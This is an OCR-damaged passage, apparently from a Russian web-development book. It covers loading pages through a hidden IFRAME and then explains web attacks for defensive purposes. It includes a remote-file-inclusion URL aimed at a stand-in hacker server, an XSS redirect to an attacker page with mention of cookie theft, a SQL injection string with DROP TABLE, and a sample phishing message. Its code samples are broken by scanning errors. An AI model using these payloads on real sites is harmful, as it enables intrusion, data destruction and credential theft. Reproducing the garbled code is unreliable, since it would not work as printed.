Сайт располагается на одной странице
Некоторые современные веб-приложения (например, Gmail) используют так называемые динамические веб-интерфейсы. Суть их в том, чтобы динамически (с помощью языков активных сценариев, но при этом обращаясь к серверу) помещать на веб-страницу новое содержимое по запросу пользователя вместо того, чтобы переходить на другую страницу. Это экономит время и трафик.
В большинстве случаев такие интерфейсы реализуются с помощью технологии Ajax (Http://Ru.Wikipedia.Org/Wiki/Ajax) и объекта XMLHttpRequest, работа с которым ведется по-разному в браузерах Internet Explorer и Mozilla (и прочими на основе Gecko) и который доступен в браузере Opera только с версии 8. В связи с этим код работы с объектом XMLHttpRequest представляет собой не меньше чем библиотеку. Подробнее о реализации таких динамичных обращений к серверу и выводе информации в режиме реального времени на экран можно прочитать у Дрю Маклеллана (Www.Webmascon.Com/Topics/Technologies/13A.Asp), а кросс-браузерную интерпретацию — в статье Дмитрия Котерова о Subsys_JsHttpRequest (Www.Dklab.Ru/Lib/Subsys_JsHttpBequest/).
В статье рассматривается еще один подход к динамичной под- грузке данных на страницу. Он основан на чтении информации из элемента IFRAME нулевой ширины, нулевой высоты и нулевой ширины края BORDER и ее помещении в DIV-блок. Сценарий работает во всех современных браузерах. В браузерах, не поддерживающих современную объектную модель документа, просто будет происходить переход по странице.
Итак, в тексте кода между <BODY> и </BODY> помещаем IFRAME и блок для загрузки информации:
<IFRAME ID="ifrm_cont" SRC="1.html"
FRAMEBORDER="0"
WIDTH="0" HEIGHT="0" onLoad="ploadinfo()"> </lFRAME>
<DIV ID="divo"></DIV>
Между </HEAD> и <BODY> помещаем сценарий:
<SCRIPT LANGUAGE="JavaScript"> function pload(url)
{
Oldbrowsers = (Idocument. getElementByld || (window. opera && !document. readyState)) ? 1:0 if(Ioldbrowsers)
{
Document. getElementById("ifrm cont").src = url }
Else
{
Parent. location = url }
}
Function ploadinfo() { cont = document. getElementById("ifrm cont"). contentWindow. document. documentElement. innerHTML
Document. getElementById("divo").innerHTML = cont
}
</SCRIPT>
Осталось поставить ссылки, которые будут активизировать загрузку. Например, так: <A HREF="2.html? fullview" onClick="pload('2.html'); return false">Страница 2 </A>. Эти ссылки вызывают функцию, перезагружающую IFRAME с новой страницей, адрес которой передается в функцию. Изначально же IFRAME загружается с какой-нибудь стартовой страницей. По факту загрузки содержимого элемента IFRAME активизируется функция, прочитывающая содержимое документа, загруженного в нулевой IFRAME, и заполняющая этим содержимым DIV-блок.
4.5. Сайт выходит из-под контроля
Сайт выходит из-под контроля |
4.6 |
Чтобы обезопасить себя, как известно, нужно узнать, чем пользуется противник. Узнав некоторые методы взлома сайтов, можно принять меры, которые позволят избежать подобных нападений. Метод, рассчитанный на беспечных Я бы, конечно, выразился и серьезнее — не беспечных, а невежественных. Работа идет с активными сценариями. В главе о языке JavaScript приведен пример, когда скриптом в три строчки можно парализовать работу книги отзывов и любого другого средства интерактивного обмена мнениями с посетителем, всего лишь потому, что разработчик не стал обрабатывать отзывы посетителей перед помещением на сервер. Бывает и хуже. Дело в том, что большинство пользователей смотрит интернет-страницы с помощью браузера Internet Explorer. Общеизвестно, что в этом браузере работают как вариант JavaScript — JScript с поддержкой средств работы с файловой системой, так и язык VBScript — он в принципе работает только в этом браузере под Windows (или на серверах). Это значит, что сценариями в этом браузере можно манипулировать файлами и другими объектами в операционной системе, а также копировать файлы с сервера на компьютер. А если учесть, что включаемые сценарии (в файлах с расширениями. js и. vbs) загружаются во временные папки на компьютер, то при запуске этих сценариев с вредоносным кодом может произойти непоправимое (троянские файлы, удаление и перезапись нужных файлов). Особенно это происходит, если уровень защиты недостаточно высок. И если разработчик не сделал так, чтобы код при обработке данных формы заменялся на специальные подстановки, то можно потерять файлы и на сервере. А ведь сценарии можно вставить не только тэгом <script>, но и с помощью событий, вставляя их в тэги. Метод подстановки файлов, или PHP-инъекция Известно, что в большинстве серверных технологий есть средства, позволяющие включать один файл в другой. В части случаев это делается жестким, принудительным методом, когда один файл просто запрашивает информацию из другого файла, и это происходит при каждом запросе страницы одинаково (хотя содержание включаемых страниц может меняться). Примеры — включение файлов оформления (шапка и нижняя часть страницы), включение меню, файлов с других серверов. В коде страницы просто пишутся инструкции, заставляющие один файл включать в себя другой. Но часто встречаются ситуации, когда файл включается динамически. Часто на сайтах попадаются адреса вроде domain. com/?page=company. Суть метода проста: есть ядерный сценарий (например, в файле index. php, который загружается по умолчанию); если в строке запроса не передан никакой параметр, то загружается |
4 |
Программирование |
Какая-то страница, указанная в сценарии как страница по умолчанию; если же передано значение какой-то переменной, значение которой — имя файла (или его часть — подставить расширение файла не так сложно), то включается именно этот файл. Легко можно выяснить основную структуру файлов и директорий (например, попробовать загрузить domain. com/company. php, или domain. com/files/company. php, или domain. com/company. htm — вариантов масса, но перепробовать можно все, особенно если подготовить инструментарий). Дело облегчается, если адреса еще более прозрачны, например, domain. com/?path=company/stuff. Но это не главное. Если разработчик не позаботился о безопасности, то злоумышленник может вручную набрать адрес — например, такой: domain. com/?page=Http://Hakersky-Server.Com/Hack. Что сделает ядерный сценарий? Он примет строку запроса и включит файл с чужого сервера, услужливо подставив ему расширение. Что нужно сделать хакеру? Просто написать эту страницу, которой он может управлять файлами на сервере. Поскольку страница включена в основной файл, она автоматически становится частью сервера, а значит, и получает права на управление. Для начала хакер сможет выяснить полную структуру файлов и директорий на сервере (рекурсивным обходом директорий), потом выяснит переменные окружения, версию PHP и его параметра (функция phpinfo() ), а затем начнет управлять сервером. Что делать (и кто виноват)? В первую очередь — заменить все варианты префикса http на пустую строку (сценарием, конечно). Чтобы исправить все варианты, нужно сначала перевести все символы полученной строки в нижний регистр. Если сервер не очень большой, можно составить список файлов, допустимых к загрузке: <? $module=$ GET['module']; $arr=array(,main,,,about,,,links,,,forum'); if(!in array($module,$arr))$module=$arr[0]; include "$module. php"; ?> Можно использовать другие военные хитрости: при получении строки запроса в нем заменяются некоторые символы и производится проверка существования файла. Например, «о» заменится на «u», «t» — на «d», «/» — на «l», «.» — на «_», а «:» заменится на «w». В этому случае будет запрашиваться фактически не страница company. php, а страница cumpany. php (именно она должна существовать на сервере); даже если не убирать префикс http, в указанном примере сценарий получит на обработку адрес hddpwllhakersky-server_cumlhack. php, не найдет на сервере |
|
370 |
Сайт выходит из-под контроля |
4.6 |
Такого адреса и спокойно проигнорирует его. И еще средство: не делать имена переменных столь очевидными. Иногда достаточно делать адреса вида domain. com/7company/stujf или вообще domain. com/company/stuff— в книге есть подробные инструкции, как сделать так, чтобы псевдодиректории расценивались сценарием как строка запроса. Да, и кто виноват: веб-разработчик, который не ставит себя на место заказчика, случайного посетителя, новичка в сети, опытного пользователя и хакера. Метод включения, или инклюда (англ. include — «включать») У каждого хакера есть свой сервер — неважно, арендуемый или личный. На этом сервере есть страницы, которым можно передавать в качестве параметра на обработку чужие страницы. Например, так: на hakersky-server. com есть страница shell. php (или shell. pl, или на другом языке, удобном хакеру). Эта страница позволяет включать в себя файлы с других серверов. Поскольку загружать можно не целиком сформированные страницы, а отдельные файлы, то хакер может увидеть секретную информацию, просто отключив средства подавления ошибок. Простейший пример: в качестве входного параметра файлу shell. php передается адрес Http://Chey-To-Server.Com/Header.Php. Если такой файл существует, хакер радуется, как ребенок, и продолжает работать. Вероятно, на этом чьем-то сервере файл header. php включается в какие-то другие файлы, но в данном случае этого не происходит, и выдаются ошибки либо просто некорректный код. В ошибках сообщается, какие именно переменные не инициализированы и т. п. Используя эту информацию, хакер в конце концов может добраться и до тех фрагментов сайта, которые могут повлиять на его работу — страницы, которые позволяют записывать текст в файлы и БД, обладают средствами загрузки файлов. Такой подход достаточно сложен — обычно это кропотливая ручная работа. На руку хакерам всегда играет шаблонность мышления разработчиков. Какой главный файл в директории? Правильно, index. html (или с иными расширениями: чаще всего несложно выяснить, какие расширения у файлов на сайте, даже если они скрыты). Изредка — default. html. И редко у кого хватит фантазии назвать главный файл glavnyj. html или apelsin. app, хотя это вполне возможно (главное — правильно написать конфигурационные файлы). Как называются переменная, отвечающая за включение страницы? Правильно, $page, $file или $stranica. Раздел «О компании» всегда называется company. html или about. html — как и файл, который отвечает за загрузку этой страницы. А ведь можно проявить фантазию и тем самым запутать злоумышленника. Часто разработчики тщательно продумывают защиту ядерных сценариев, но забывают о защите включаемых файлов. В итоге, выяснив URL какого-либо системного файла, злоумышленник может узнать достаточно много интересного. |
Межсайтовый скриптинг, или XSS
В основе межсайтового скриптинга — игра с уязвимостями сценария атакуемого сервера с помощью ссылок, сформированных определенным образом. Очень легко взламывать сайты, которые используют GET-методы для передачи данных, немного сложнее — с использованием POST-форм. Представим, что на сайте используется переменная $name, значение которой передается через строку запроса (/index. php? name=Ivan%20Fedorov). Если на странице есть прямой вывод переменной, то выведется текст «Ivan Fedorov» (в адресах недопустимы пробелы, поэтому вместо них используется подстановка %2 0). Если мы напишем адрес наподобие этого: /index. php? name=<h1>Ivan%20Fedorov</h1> — то на странице слова «Ivan Fedorov» станут заголовком первого уровня. А это уже грустно. Потому что, если сервер не настроен на запрет символов вроде скобок для тэгов, а в сценарии нет кусочка, заменяющего такие символы на пустую строку, никто не мешает вместо тэгов заголовка написать тэги сценария. А в этих тэгах — сам сценарий. А в сценарии, например, такое: document. location. replace('Http://hakersky-sajt. ru/ systemcrush. php' ) — в результате чего посетитель мгновенно переместится на указанную страницу. Со всеми вытекающими. Страница, на которую перекинуло жертву, выполняет некоторые действия. Они могут быть достаточно безобидными, например, вывод рекламы, а могут быть критическими — запись данных, перехват пользовательской сессии. Ведь можно осуществлять не только переброс на страницу, но и перехват и пересылку некоторых переменных с их значениями, Cookies и т. п.
Варианты защиты достаточно просты: точная настройка сервера, запрещающая вызов страниц по адресам, содержащим некоторые символы (скобки, ломаные скобки, точку, двойные слэши), и замена таких символов сценарием, обрабатывающим запросы из адресной строки или данных формы. Первое часто предоставляют хостеры, второе остается на совести разработчика сайта.
Методрадужных таблиц, или RainbowCrack
RainbowCrack, строго говоря, — это не метод, а программа для взлома паролей. Особенность ее в том, что в ней осуществляется не простой перебор вариантов паролей, а все вычисленные значения хранятся в специальных таблицах, что существенно уменьшает время подбора пароля. Эта программа вскрывает пароли, сгенерированные с помощью необратимой хэш-функции. Метод не работает в том случае, когда наряду с хэшированием применяют так называемую «соль» — перед результатом шифрования записываются два случайных символа, также детерминированные функцией. Это значит, что наряду с подбором исходного пароля, восстановленного из хэша, нужно подобрать еще и «соль» (результат = соль. md5(пароль. соль)).
Сайт выходит из-под контроля |
4.6 |
Таким образом, защититься от взлома сложно, но можно: не создавать простых паролей, делать их максимально длинными, тщательно шифровать их (наряду со средствами шифрования, предоставляемыми языками серверных сценариев, можно применять и свои функции необратимого искажения паролей). Есть и другие алгоритмы вскрытия паролей, например, The UDC с поддержкой коррекции ошибки ввода. Веб-разработчику нужно тщательно изучать возможности дешифровки паролей и создавать максимальную защиту от этого. SQL-инъекция Этот вид хакерских атак у всех на слуху в связи с тем, что использование баз данных (особенно MySCQL) для хранения информации очень популярно. Метод состоит в том, что странице каким-то образом передается код SQL-запроса с заведомо вредительскими действиями. Предположим, что код, генерирующий запрос (на языке программирования Паскаль), выглядит так: statement := 'SELECT * FROM users WHERE name = "' + userName + '";'; Если в качестве userName задать строку 'a"; DROP TABLE users; SELECT * FROM data WHERE name LIKE "%', то будет сгенерирована такая SQL-команда: SELECT * FROM users WHERE name = "a"; DROP TABLE users; SELECT * FROM data WHERE name LIKE "%"; Безопасный код должен проводить замену кавычки на ", апострофа на ', обратной косой черты на \ (это называется «экранировать спецсимволы»). Это можно делать таким кодом: statement : = 'SELECT * FROM users WHERE name = ' + QuoteParam(userName) + ;; Perl, PHP, Java, Delphi и другие языки, ориентированные на базы данных, имеют встроенные средства, автоматически выполняющие эту операцию: на Delphi — свойство TQuery. Params; на Perl — через DBI::quote или DBI::prepare; на Java — через класс PreparedStatement; на C# — свойство SqlCommand. Parameters; на PHP (при работе с MySQL) — функции mysql escape string, mysql real escape string, addslashes. Социальная инженерия Очень, очень губительный метод, рассчитанный на доверчивых людей. Для воплощения этого метода в жизнь не нужно писать сценариев и разбираться в алгоритмах шифрования. Люди постоянно где-то регистрируются. Часто они забывают пароли. А иногда происходят сбои технического характера. Люди уже при- |
Выкли к этому, и часто не составляет труда выведать пароль письмом якобы от службы поддержки: «Данное письмо сгенерировано сервером. Для подтверждения использования услуг нашего сервера пришлите ответным письмом ваш пароль» — или более изобретательно. Иногда используется не электронная почта, а ICQ, телефон и другие средства. Представившись от имени служащего, злоумышленник просит напомнить пароль пользователя либо меняет его на новый, сославшись на забывчивость. Имена служащих удается узнать после череды звонков и изучения имен руководителей на сайте компании и других источников открытой информации (отчетов, рекламы и т. п.). Доверчивых людей много, и некоторые из них сообщают свои пароли, а потом удивляются.
Берегите себя.